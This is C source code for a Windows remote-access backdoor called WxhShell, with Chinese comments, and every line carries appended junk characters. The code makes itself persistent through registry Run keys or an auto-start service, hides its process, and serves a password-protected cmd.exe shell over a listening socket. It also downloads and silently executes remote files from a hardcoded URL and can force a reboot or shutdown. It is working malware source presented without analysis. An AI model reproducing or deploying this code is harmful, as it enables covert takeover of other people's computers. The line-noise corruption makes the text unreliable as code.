    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~8jThi U  
    if(Boot(SHUTDOWN)) K H>Sc3p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `xISkW4%  
    else { 2-8YSHlh  
    closesocket(wsh); *4|9&PNLE  
    ExitThread(0); hf_R\C(c  
    } |f"-|6  
    break; q$MHCq;  
    } |9+bSH9  
  // 获取shell o{9?:*?7  
  case 's': { Z -pyFK\  
    CmdShell(wsh); jmRhAJV  
    closesocket(wsh); tegOT]|  
    ExitThread(0); c*.G]nRc  
    break; 5+y@ ]5&g  
  } *w=z~Jq^R"  
  // 退出 /t$rX3A  
  case 'x': { ,"@w>WL<9  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (3AYy0J%  
    CloseIt(wsh); rQ=xcn[A  
    break;  &|/vM.  
    } hA@zoIoe  
  // 离开 ])N|[|$  
  case 'q': { sk#9x`Rw  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); jz %;4e~t  
    closesocket(wsh); H!Wis3S3G  
    WSACleanup(); nA>*IU[  
    exit(1); p:Iw%eZ:  
    break; Bp &6x;MJf  
        } Xf6fH O  
  } (})]H:W7  
  } {GUb'J  
{VBR/M(q  
  // 提示信息 j?=VtVP  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H9sZR>(^  
} $ b4*/vMr  
  } cE^kpnVq|<  
.H Fc9^.*  
  return; c L?\^K)  
} D._{E*vg  
U%Dit  
// shell模块句柄 {*sGhGwr  
int CmdShell(SOCKET sock) 0xN!DvCg>.  
{ (2: N;  
STARTUPINFO si; : @s8?eg  
ZeroMemory(&si,sizeof(si)); +:}kZDl@ X  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; T:c7@^=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ex.+'m<g  
PROCESS_INFORMATION ProcessInfo; Z#CxQ D%\  
char cmdline[]="cmd"; 3b#L17D3_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); j0AwL7  
  return 0; }|AX_=a  
} L?C\Q^0"`G  
!syU]Yk  
// 自身启动模式 U> W|(Y  
int StartFromService(void) m[8IEKo  
{ 5$anqGw  
typedef struct $?-7OXj<  
{ HB%K|&!+  
  DWORD ExitStatus; QQ*gFP.Ao  
  DWORD PebBaseAddress; 6j_ 678  
  DWORD AffinityMask; ol50d73B  
  DWORD BasePriority; : -E,   
  ULONG UniqueProcessId; M/*Bh,M`  
  ULONG InheritedFromUniqueProcessId; *K`x;r  
}   PROCESS_BASIC_INFORMATION; (m6EQoW^s+  
^#2xQ5h  
PROCNTQSIP NtQueryInformationProcess; Umij!=GPG^  
nZ~kZ |VS  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; </,.K`''W  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; cxgE\4_u"  
1^S'sWwe  
  HANDLE             hProcess; l@xWQj9  
  PROCESS_BASIC_INFORMATION pbi; =`JW1dM  
'gYg~=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); z23#G>I&  
  if(NULL == hInst ) return 0; 46ILs1T6  
;"D~W#0-v  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >8%M*-=p  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ha?G=X  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); lHcA j{6  
<&`:&7  
  if (!NtQueryInformationProcess) return 0; WX LK89ev\  
E!uJ6\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); I4ebkPgf  
  if(!hProcess) return 0; 36nyu_h:R  
,'=hjIel  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7q!?1 -?8R  
I,]J=xi  
  CloseHandle(hProcess); 04~}IbeJ  
u >4ArtF  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #vtN+E  
if(hProcess==NULL) return 0; X6'H`E[  
jKS!'?  
HMODULE hMod; QPX`l0V  
char procName[255]; Z4#v~!  
unsigned long cbNeeded; \Yd4gaY\o  
P:qz2Hw  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); g@Ld"5$^2  
&Bm&i.r  
  CloseHandle(hProcess); bf1)M>g,O  
7 I@";d8~  
if(strstr(procName,"services")) return 1; // 以服务启动 qIz}$%!A  
*Z >  
  return 0; // 注册表启动 9j0o&Xn  
} EsTB(9c?  
S"Kq^DN  
// 主模块 f9a$$nb3`  
int StartWxhshell(LPSTR lpCmdLine) >otJF3zw   
{ ?.Q3 pUT  
  SOCKET wsl; )(lJT&e  
BOOL val=TRUE; *Z; r B  
  int port=0; HAd%k$Xu{  
  struct sockaddr_in door; `UQEXoB)  
XC2FF&B&  
  if(wscfg.ws_autoins) Install(); ,m:L2 -J@  
Ch t%uzb,  
port=atoi(lpCmdLine); Cs#w72N  
JYQ.EAsr!  
if(port<=0) port=wscfg.ws_port; )nOE 8y/  
ctHEEFWm  
  WSADATA data; F{\=PCZ>7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @y5=J`@=  
=DC 3a3&%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~;8I5Sge  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); x}|+sS,g  
  door.sin_family = AF_INET; FfG%C>E6~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); V 9Hl1\j^  
  door.sin_port = htons(port); .;g}%C  
IT18v[-G  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { rI>LjHP  
closesocket(wsl); y6FKg)  
return 1; )b9_C O}  
} 'BhwNuW\"  
@D]lgq[  
  if(listen(wsl,2) == INVALID_SOCKET) { yPN+W8}f  
closesocket(wsl); "Vy WT  
return 1; Mb.4J2F?  
} H{%H^t>  
  Wxhshell(wsl); T pD;  
  WSACleanup(); *{|$FQnR>(  
$ser+Jt=  
return 0; ceG&,a$\  
*QE"K2\5  
} *gDl~qNRoS  
^Q\XGl  
// 以NT服务方式启动 qe%V#c  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #Kl}= 1 4  
{ [,b)YjO~Xd  
DWORD   status = 0; QZ~0o7  
  DWORD   specificError = 0xfffffff; >Nh`rkR2[  
= ^s$ <  
  serviceStatus.dwServiceType     = SERVICE_WIN32; l `R KqT+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /NU103F yt  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ke]Yfwk  
  serviceStatus.dwWin32ExitCode     = 0; G?ig1PB"#  
  serviceStatus.dwServiceSpecificExitCode = 0; {m[Wyb(  
  serviceStatus.dwCheckPoint       = 0; n}q$f|4!  
  serviceStatus.dwWaitHint       = 0; AG>\aV"b  
o0mJy'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); yLqF ,pvO  
  if (hServiceStatusHandle==0) return; /[{auUxSX  
I .P6l*$  
status = GetLastError(); NbkK&bz  
  if (status!=NO_ERROR) ;A"\?i Q  
{ G "brT5:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; >f@ G>H)+  
    serviceStatus.dwCheckPoint       = 0; y\,f6=%k  
    serviceStatus.dwWaitHint       = 0; " #v%36U  
    serviceStatus.dwWin32ExitCode     = status; 3[VNsX  
    serviceStatus.dwServiceSpecificExitCode = specificError; `HyF_m>\  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); J^:n* C  
    return; M4:s;@qZ.  
  } l!@ 1u^v2  
 :,~K]G  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; E}YI WTX  
  serviceStatus.dwCheckPoint       = 0; 9!#EwPD$#  
  serviceStatus.dwWaitHint       = 0; gr+Pl>C{  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); M*`hDdS  
} y/tSGkMv  
$r15gfne>  
// 处理NT服务事件,比如:启动、停止 F0.zi>5  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &d,Wy"WPi  
{ U\bC0q   
switch(fdwControl) sLhDO'kM  
{ zJC EA  
case SERVICE_CONTROL_STOP: 3{RL \gh$"  
  serviceStatus.dwWin32ExitCode = 0; `eD1|Go9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; T8Na]V5  
  serviceStatus.dwCheckPoint   = 0; K<RqBecB  
  serviceStatus.dwWaitHint     = 0; x0<^<D&Q  
  { 0T9. M(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); " " %#cDR  
  } 6bL~6-h%)  
  return; 1-o V-K  
case SERVICE_CONTROL_PAUSE: `D2Mss$!  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ArXl=s';s4  
  break; ti2  
case SERVICE_CONTROL_CONTINUE: V.VJcx  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !*vBW/  
  break; zPE$  
case SERVICE_CONTROL_INTERROGATE: x{hn2]6+eB  
  break; l1r_b68  
}; 9/3;{`+[a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Mudrg[@ `  
} JA6";fl;  
:<utq|#s  
// 标准应用程序主函数 IU9, (E  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _#pnjo   
{ 1~Mn'O%  
y6%<zhs  
// 获取操作系统版本 #PFO]j!_b  
OsIsNt=GetOsVer(); D^?_"wjW  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Pa&4)OD  
u)~s4tP4  
  // 从命令行安装 9rcI+q=E  
  if(strpbrk(lpCmdLine,"iI")) Install(); Y[G9Vok VX  
6fGK (r  
  // 下载执行文件 ]sL45k2W  
if(wscfg.ws_downexe) { dG0VBE  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) KB[QZ`"%!  
  WinExec(wscfg.ws_filenam,SW_HIDE); e U;jP]FA  
} XwPx9+b6j  
8Q(8b@ZO,  
if(!OsIsNt) { n9] ~  
// 如果时win9x,隐藏进程并且设置为注册表启动 P%)b+H{$h  
HideProc(); 38Efp$)  
StartWxhshell(lpCmdLine); X| <yq  
} fj+O'X  
else i0ybJOa4  
  if(StartFromService()) LNiS`o\  
  // 以服务方式启动 a.,_4;'UE1  
  StartServiceCtrlDispatcher(DispatchTable); +)gB9DoK  
else [{cC  
  // 普通方式启动 xZ+]QDKC  
  StartWxhshell(lpCmdLine); @O/,a7Tt  
I%xn,u  
return 0; Xw^X&Pp  
} '{VM> Q  
1JeJxzv>C  
Sk=N [hwU  
?OsS`)T  
=========================================== t.U{Bu P  
w+_Wc~f  
@a(oB.i  
6K 4+0xXv  
YoAg  
f:vD`Fz1  
" 5\S&)ZA@  
98UlNP  
#include <stdio.h> h=[-Er'B  
#include <string.h> xa#gWIP*  
#include <windows.h> N-%#\rPq.  
#include <winsock2.h> Pux)>q] C  
#include <winsvc.h> @T7PZB&xnl  
#include <urlmon.h> , N 344y  
J"&y |; G  
#pragma comment (lib, "Ws2_32.lib") oEIqA  
#pragma comment (lib, "urlmon.lib") f3 &/r  
|!Ists  
#define MAX_USER   100 // 最大客户端连接数 A.U'Q|  
#define BUF_SOCK   200 // sock buffer fU ={a2  
#define KEY_BUFF   255 // 输入 buffer IG|\:Xz  
)U5u" ]9~  
#define REBOOT     0   // 重启 v{koKQ'Y()  
#define SHUTDOWN   1   // 关机 C Z tiWZ  
M/B/b<['  
#define DEF_PORT   5000 // 监听端口 5i9Ub |!P  
w-FHhf  
#define REG_LEN     16   // 注册表键长度 ]^ 'ZiyJX  
#define SVC_LEN     80   // NT服务名长度 Q52 bh'cuU  
kzi|$Gs<  
// 从dll定义API zlkWU  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @L8;VSI  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Z4@y?f v7s  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); xA-jvu9@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0;cuX@A/a?  
bNs[O22  
// wxhshell配置信息 ke6n/ h5`  
struct WSCFG { g;G5 r&T  
  int ws_port;         // 监听端口 FL&dv  
  char ws_passstr[REG_LEN]; // 口令 TQ-KkH}y  
  int ws_autoins;       // 安装标记, 1=yes 0=no jL_5]pzJ  
  char ws_regname[REG_LEN]; // 注册表键名 a8QfkOe  
  char ws_svcname[REG_LEN]; // 服务名 G_(ct5:_"!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @C_ =*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2sun=3qb  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 NCDxcz;Gb  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^c'f<<z|7r  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Hirr=a3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 wY`#$)O0*  
ZIW7_Y>_  
}; K~@`o-Z[  
"dq>) JF\  
// default Wxhshell configuration [q"NU&SX  
struct WSCFG wscfg={DEF_PORT, AT ymKJ  
    "xuhuanlingzhe", iNLDl~uU  
    1, pVz*ZQ[]  
    "Wxhshell", PWG;&ma  
    "Wxhshell", 7LdzZS0OM  
            "WxhShell Service", H:MUNc8i  
    "Wrsky Windows CmdShell Service", yHOqzq56  
    "Please Input Your Password: ", -TZ^~s  
  1, "XB4yExy  
  "http://www.wrsky.com/wxhshell.exe", w%2ziwgh  
  "Wxhshell.exe" d?}hCo=/Xq  
    }; #ovM(Mld  
xVTo4-[p  
// 消息定义模块 2Fq=jOA)z$  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; A^L?_\e6  
char *msg_ws_prompt="\n\r? for help\n\r#>"; uMpl#N p  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; pN+I]NgQ  
char *msg_ws_ext="\n\rExit."; _yJ|`g]U3  
char *msg_ws_end="\n\rQuit."; Ql8^]gbp+  
char *msg_ws_boot="\n\rReboot..."; %omu  
char *msg_ws_poff="\n\rShutdown..."; |D+p$^L  
char *msg_ws_down="\n\rSave to "; Ays L-sqR  
R8ZD#,;  
char *msg_ws_err="\n\rErr!"; U!NI_uk  
char *msg_ws_ok="\n\rOK!"; kQ[Jo%YT?E  
|Eu*P  
char ExeFile[MAX_PATH]; &Ea"hd  
int nUser = 0; tvCcyD%w  
HANDLE handles[MAX_USER]; t%HI1eO7h  
int OsIsNt; z L8J`W  
e# <4/FR  
SERVICE_STATUS       serviceStatus; )w3 ,   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; D}Au6  
 +Lhe,  
// 函数声明 PJ;.31u  
int Install(void); 6kR -rA  
int Uninstall(void); Rv,Mu3\~#c  
int DownloadFile(char *sURL, SOCKET wsh); iLQSa7  
int Boot(int flag); )*W=GY*  
void HideProc(void); RUqO!s~#rY  
int GetOsVer(void); KG-y)qXu  
int Wxhshell(SOCKET wsl); *?p ^6vO  
void TalkWithClient(void *cs); Cy6%S).c  
int CmdShell(SOCKET sock); wBE7Bv45  
int StartFromService(void); bw0 20@O*  
int StartWxhshell(LPSTR lpCmdLine); 7?,7TR2Ny  
Nuo^+z E   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~W3:xnBEk  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;/R kMS  
_hWuAJ9Qy  
// 数据结构和表定义 0W_mCV  
SERVICE_TABLE_ENTRY DispatchTable[] = X*)?LxTj  
{ '9"%@AFxZ  
{wscfg.ws_svcname, NTServiceMain},  d~sJ=)  
{NULL, NULL} M6&~LI.We=  
}; T:6K?$y?  
`ReGnT[  
// 自我安装 dB@FI  
int Install(void) X0!Bs-WFp  
{ Enu!u~1]F  
  char svExeFile[MAX_PATH]; F$[)Bd/"  
  HKEY key; v` $%G  
  strcpy(svExeFile,ExeFile); W oWBs)E  
FN>L7 *,0  
// 如果是win9x系统,修改注册表设为自启动 <c(&T<$  
if(!OsIsNt) { _TrZ'iL}T  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N6WPTUQ1mF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rykj2/O  
  RegCloseKey(key); 8-A:k E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gU+ss  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1z3]PA!R  
  RegCloseKey(key); \FVNXU MU  
  return 0; B#QL M^  
    } u |'8a1  
  } k?< i*;7  
} ma1 (EJ/  
else { eVrnVPkM  
}iMXXXBOT  
// 如果是NT以上系统,安装为系统服务 El{r$-}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *q}FV2  
if (schSCManager!=0) gt~9"I  
{ LNaeB(z"  
  SC_HANDLE schService = CreateService C0gfJ~M )  
  ( ^u3*hl}YKy  
  schSCManager, y2GQN:X  
  wscfg.ws_svcname, (X*'y*:  
  wscfg.ws_svcdisp, R08&cd#$  
  SERVICE_ALL_ACCESS, p?}f|mQS)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , b-2pzcK{#  
  SERVICE_AUTO_START, hr%U>U9F  
  SERVICE_ERROR_NORMAL, )sRN!~  
  svExeFile, (v]P<3%  
  NULL, U&`6&$]  
  NULL, 5[nmP95YK  
  NULL, Wux0RF&  
  NULL, zaH 5 Km_j  
  NULL :,jPNuOA  
  ); 9U&~(;  
  if (schService!=0) 3\,MsoAl  
  { ~KJ,SLzhx9  
  CloseServiceHandle(schService); @51z-T  
  CloseServiceHandle(schSCManager); l +|1G  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); cW=Qh-`jU;  
  strcat(svExeFile,wscfg.ws_svcname); KuIkul9^%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { d8 rBu jT  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); GI}4,!^N  
  RegCloseKey(key); SwyaYK  
  return 0; K *TnUQ  
    } F ~*zC`>Y  
  } p@vpd  
  CloseServiceHandle(schSCManager); " 98/HzR  
} u$apH{  
} UP}feN  
3(MoXA*  
return 1; 2XzF k_6H  
} $K`_ K#A  
4A;[s m^f  
// 自我卸载 dUI3erO  
int Uninstall(void) ;9}w|!/  
{  o1 jk=  
  HKEY key; ,<7"K&  
<_=JMA5  
if(!OsIsNt) { G}182"#4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C\y[&egww  
  RegDeleteValue(key,wscfg.ws_regname); #c6ui0E%;t  
  RegCloseKey(key); ~azF+}x90N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 43+EX.c  
  RegDeleteValue(key,wscfg.ws_regname); f#*h^91x  
  RegCloseKey(key); ,NjX&A@  
  return 0; 2j2mW>Z  
  } Ga]47pQ"F  
} u9esdOv  
} `Q:de~+AM{  
else { H~~7~1"x  
{k kAqJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); lt }r}HM+  
if (schSCManager!=0) -b@v0%Q2M*  
{ E7V38Z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); J>><o:~@  
  if (schService!=0) k}- "0>  
  { mfj4`3:NV  
  if(DeleteService(schService)!=0) { \El|U#$u'  
  CloseServiceHandle(schService); YI L'YNH  
  CloseServiceHandle(schSCManager); N<p5p0  
  return 0; $5ZR [\$  
  } eL<m.06cfY  
  CloseServiceHandle(schService); <l* agH-.3  
  } rdXCWK$E  
  CloseServiceHandle(schSCManager); n;e."^5  
} ;7;zhJs1t  
} ?lu_}t]  
,lrYl!,  
return 1; Tm (Q@  
} _Syre6k  
<]Ij(+J;  
// 从指定url下载文件 FgXu1-  
int DownloadFile(char *sURL, SOCKET wsh) 29&sydu  
{ ^wvH,>Yo  
  HRESULT hr; qXXYF>Z-  
char seps[]= "/"; CkmlqqUHC  
char *token; xR\D(FLV S  
char *file; z8 hTZU  
char myURL[MAX_PATH]; pw0Px  
char myFILE[MAX_PATH]; |Dl*w/n  
}@3Ud ' Y  
strcpy(myURL,sURL); C4&U:y<ju  
  token=strtok(myURL,seps); b7?U8/#'  
  while(token!=NULL) MDMtOfe|  
  { }v_p gatC  
    file=token; 59&T/  
  token=strtok(NULL,seps); ST[2]   
  } 9zXu6<|qrL  
^</65+OT+  
GetCurrentDirectory(MAX_PATH,myFILE); r~ZS1Tp  
strcat(myFILE, "\\"); 5F'%i;)oq  
strcat(myFILE, file); r^?)F?n!  
  send(wsh,myFILE,strlen(myFILE),0); aR`_h=a  
send(wsh,"...",3,0); EJ WOXxU  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (%``EIc<8  
  if(hr==S_OK)  !7 ei1  
return 0; ( rA\_FOJ  
else ^L>MZA ?  
return 1; OpWeW  
J xA^DH  
} #pS]k<o%1  
cp E25  
// 系统电源模块 $sU5=,  
int Boot(int flag) _fczE~O/  
{ 1{SrHdD=  
  HANDLE hToken; B'WCN&N  
  TOKEN_PRIVILEGES tkp; i_j9/k  
b:N^Fe  
  if(OsIsNt) { <'PR;g^#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2rK-X_}  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); h Jfa_  
    tkp.PrivilegeCount = 1; o|R*POM  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "Y"t2l_n  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 'Qm` A=  
if(flag==REBOOT) { '5|Q<5!o  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,Y+r<;  
  return 0; Ss"|1]acP  
} &"U9X"8b  
else { zWCW:dI  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) V_)5Af3wY  
  return 0; ^CowJ(y(  
} k#1`  
  } Jngll  
  else { >P6^k!R1y  
if(flag==REBOOT) { 9@KUqoX  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) XM$5S+e  
  return 0; m#5|J@]  
} sD LVYD  
else { Hmz=/.$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9;E%U2T7  
  return 0; 1g~Dm}m  
} m.\ >95!  
} /3CHE8nSh  
t,--V|7-  
return 1; jMm_A#V>p  
} N<#S3B?.  
]jVIpGM  
// win9x进程隐藏模块 oj,HJH+  
void HideProc(void) 9[epr+f  
{ _H~pH7WU  
}};j2  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1kB'sc3N!  
  if ( hKernel != NULL ) SQO>}#qm  
  { Bi9 N  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <Um1h:^   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); fP^W"y  
    FreeLibrary(hKernel); wQo6!H "K  
  } C?GvTc  
LG/=+[\{E  
return; ;,F-6RNj  
} 8]cv&d1f  
TTA{#[=7  
// 获取操作系统版本 d&PE,$XC  
int GetOsVer(void) VYl_U?D  
{ F]K$u <U  
  OSVERSIONINFO winfo; I3}HNGvU  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]t. WJC %  
  GetVersionEx(&winfo); zh#OD{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ue6/EN;}  
  return 1; WL IDw@fv  
  else bm|Jb"T0b  
  return 0; Nt`F0 9S  
} W,9k0t  
&.cGj @1!J  
// 客户端句柄模块 LW83Y/7  
int Wxhshell(SOCKET wsl) ;ZxK3/(7  
{ rQd1Ch  
  SOCKET wsh; M-&^   
  struct sockaddr_in client; ?J^IAF y  
  DWORD myID; }$&T O$LX  
mr{k>Un\  
  while(nUser<MAX_USER) %:'1_@Ot 2  
{ Y0P}KPD  
  int nSize=sizeof(client); bl:a&<F  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~cO?S2!W  
  if(wsh==INVALID_SOCKET) return 1; 9}%~w(P  
|kBg8).B  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); M(.uu`B  
if(handles[nUser]==0) )[y!m9Vn  
  closesocket(wsh); )H[h53bIq  
else 5@R15q@c6n  
  nUser++; HobGl0<y  
  } N[+o[%A  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); A:8FJ3'  
ohQz%?r  
  return 0; YO.`l~ v  
} K%[}[.cW  
]HNT(w@  
// 关闭 socket )M&Azbu  
void CloseIt(SOCKET wsh) }2iKi(io*  
{ +YQ)}v  
closesocket(wsh); #"=yQZ6Y  
nUser--; nU?Xc(Xy  
ExitThread(0); (x1"uy7_  
} k$$S!qi#  
4AJu2Hp  
// 客户端请求句柄 ;*>QG6Fh  
void TalkWithClient(void *cs) GDo)6du  
{ 3%vx' 1h[  
y]E)2:B[d  
  SOCKET wsh=(SOCKET)cs; UijuJ(Tle  
  char pwd[SVC_LEN]; !~|"LA!jn  
  char cmd[KEY_BUFF]; w{YtTZp3  
char chr[1]; JL]k:i^`A  
int i,j; 7N}\1Di5  
5H'b4Cyi`  
  while (nUser < MAX_USER) { (04j4teE  
Ru9pb~K  
if(wscfg.ws_passstr) { m5'__<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2kp|zX(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :uT fhr  
  //ZeroMemory(pwd,KEY_BUFF); T_(e(5  
      i=0; =XRgT1>e  
  while(i<SVC_LEN) { /\3XARt  
WoClTb>F  
  // 设置超时 -Iruua7b  
  fd_set FdRead; fr,CH{Uq  
  struct timeval TimeOut; 6gg#Z  
  FD_ZERO(&FdRead); <750-d!  
  FD_SET(wsh,&FdRead); <@x+N%C  
  TimeOut.tv_sec=8; :nbW.B3GV  
  TimeOut.tv_usec=0; $E4O^0%/p  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); X('Q;^`  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `3>)BV<P  
L!+[]tB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )K\k6HC.  
  pwd=chr[0]; 6&OonYsP  
  if(chr[0]==0xd || chr[0]==0xa) { uc"[qT(X  
  pwd=0; 0()9vTY+  
  break; Ro3I/NI>  
  } HhQPgjZ/  
  i++; x w?9W4<  
    } Op$J"R  
*]>OCGsr  
  // 如果是非法用户,关闭 socket [hv3o0".  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); n_xQSVI0F  
} .2(@jx,[  
qRP8dH  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); fbx;-He!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +}G>M=t::  
k.? T.9  
while(1) { 8tFyNl`c  
d~z<,_ r5c  
  ZeroMemory(cmd,KEY_BUFF);  7 zP  
(PT?h>|St  
      // 自动支持客户端 telnet标准   g6a3MJV`  
  j=0; c J"]yG)=  
  while(j<KEY_BUFF) { Bu >yRL=*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'bY|$\I  
  cmd[j]=chr[0]; ;ijfI  
  if(chr[0]==0xa || chr[0]==0xd) { um0}`Xq^  
  cmd[j]=0; 1o6J9kCq^3  
  break; R=Ly49  
  } n nnA,  
  j++; iqv\ag  
    } k`4\.m"&  
E*T84Jh6  
  // 下载文件 T=f;n;/>  
  if(strstr(cmd,"http://")) { DRmh(T  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7q{v9xKy  
  if(DownloadFile(cmd,wsh)) @SQ*/sw (c  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fp|rMq  
  else uTlT'9)  
